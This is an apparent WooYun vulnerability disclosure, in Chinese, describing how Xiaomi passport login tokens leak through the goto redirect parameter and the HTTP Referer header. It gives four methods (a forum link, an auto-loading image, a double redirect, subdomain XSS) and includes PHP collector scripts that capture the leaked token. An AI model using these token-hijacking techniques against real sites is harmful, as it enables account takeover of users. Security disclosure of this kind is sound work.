WooYun.org

礼物可以的话就phone哈～
自从Joey Yin爆出“小米电商网站认证服务第三方劫持漏洞”，小米就对认证页面的GOTO参数进行了域名的限制，但是治标不治本，我们仍然有办法对用户的TOKEN进行劫持。
用户认证界面：http://passport.xiaomi.com/index.php?goto=...
登录后自动在跳转后的页面添加TOKEN
下面列举了几种方法对小米网站用户TOKEN进行劫持，几乎所有的方法都离不开用户认证页面的URL跳转和TOKEN自动添加
小米社区、MIUI论坛、米聊论坛...只要用户能发文就存在这个问题
下面以小米社区为例：
方法1：
我可以先在小米社区发表一个帖子，然后添加一个链接(http://127.0.0.1/1.php)，比如帖子地址为：http://bbs.xiaomi.com/thread-2635628-1-1.html
那么只要用户从http://passport.xiaomi.com/index.php?appid=2&goto=http://bbs.xiaomi.com/thread-2635628-1-1.html登录，就会自动跳转到http://bbs.xiaomi.com/thread-2635628-1-1.html&token=...这个帖子，如果用户点击链接就会跳转到http://127.0.0.1/1.php，那么我就可以用1.php对用户的来源进行追踪。

<?php
/*filename:1.php*/
//获取TOKEN
echo"FROM:".$_SERVER['HTTP_REFERER'];//显示FROM：http://bbs.xiaomi.com/thread-2635628-1-1.html&token=...
?>

方法2：
如果我们把1的链接换成一张图片(地址:http://127.0.0.1/img.php#1.php)，用户依然从http://passport.xiaomi.com/index.php?appid=2&goto=http://bbs.xiaomi.com/thread-2635628-1-1.html登录，那么浏览器就会自动加载图片，我们就可以用img.php对用户进行追踪，并且不用用户点击链接就可以直接获取用户的TOKEN，这个就比方法1严重得多了

<?php
/*filename:img.php*/
$code = $_SERVER['SERVER_ADDR'];//strtoupper(substr(md5(rand()),0,5));
$img=imagecreate(1000,500);
imagecolorallocate($img,233,233,233);
$color=imagecolorallocate($img,0,0,0);
imagestring($img,4,5,5,"IP:".$_SERVER['REMOTE_ADDR'],$color);
imagestring($img,4,5,20,"HTTP_ACCEPT:".$_SERVER['HTTP_ACCEPT'],$color);
imagestring($img,4,5,35,"REMOTE_HOST:".$_SERVER['REMOTE_HOST'],$color);
imagestring($img,4,5,50,"REMOTE_PORT:".$_SERVER['REMOTE_PORT'],$color);
imagestring($img,4,5,65,"REMOTE_USER:".$_SERVER['REMOTE_USER'],$color);
imagestring($img,4,5,80,"REQUEST_URI:".$_SERVER['REQUEST_URI'],$color);
imagestring($img,4,5,95,"HTTP_REFERER:".$_SERVER['HTTP_REFERER'],$color);
imagestring($img,4,5,110,"TIME:".date('Y-m-d H:i:s'),$color);
header("content-type:image/png");
imagepng($img);
imagedestroy($img);
?>

方法3：
就是利用小米分站的跳转进行二次跳转，由于我先前准备的那个跳转可能已经先被别人报告了，下面就先捏造个哈～
如存在这么个跳转:http://www.xiaomi.com/re?url=...那么我们就可以用http://passport.xiaomi.com/index.php?appid=2&goto=http://www.xiaomi.com/re?url=...进行二次跳转，TOKEN依然可以追踪，并且可以钓鱼
方法4：
利用分站的XSS，与法3类似
由上面可以看出，这个问题不止小米网站有，各大大小小的网站也存在这个问题，关键还是要解决TOKEN和URL的问题
不然的话，小米的每个URL跳转、XSS的危害就直接上升了不少